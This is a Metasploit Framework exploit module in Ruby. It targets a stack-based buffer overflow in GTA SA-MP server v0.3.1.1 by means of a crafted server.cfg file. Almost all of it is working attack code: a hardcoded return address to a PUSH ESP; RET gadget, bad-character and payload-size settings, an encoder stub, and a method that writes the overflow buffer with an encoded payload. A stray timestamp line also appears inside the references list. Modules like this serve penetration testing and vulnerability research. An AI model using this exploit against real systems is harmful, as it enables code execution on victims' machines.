metasploit-framework/modules/exploits/windows/fileformat/gta_samp.rb

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'GTA SA-MP server.cfg Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in GTA SA-MP Server.
This buffer overflow occurs when the application attempts to open a malformed
server.cfg file. To exploit this vulnerability, an attacker must send the
victim a server.cfg file and have them run samp-server.exe.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Silent_Dream', # Original discovery, MSF Module, template by mona.py
],
'References' =>
[
2013-06-22 12:28:04 +00:00
[ 'OSVDB', '83433' ],
[ 'EDB', '17893' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x0d\x0a\x1a",
'Space' => 392,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
'DisableNops' => true,
'MaxSize' => 392,
},
'Targets' =>
[
[
'GTA SA-MP (samp-server) v0.3.1.1',
{
'Ret' => 0x00429faa, # PUSH ESP; RET (samp-server.exe)
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Sep 18 2011',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'server.cfg'])
], self.class)
end
def exploit
buffer = "echo "
buffer << rand_text_alpha_upper(379)
buffer << [target.ret].pack('V')
buffer << payload.encoded
file_create(buffer)
end
end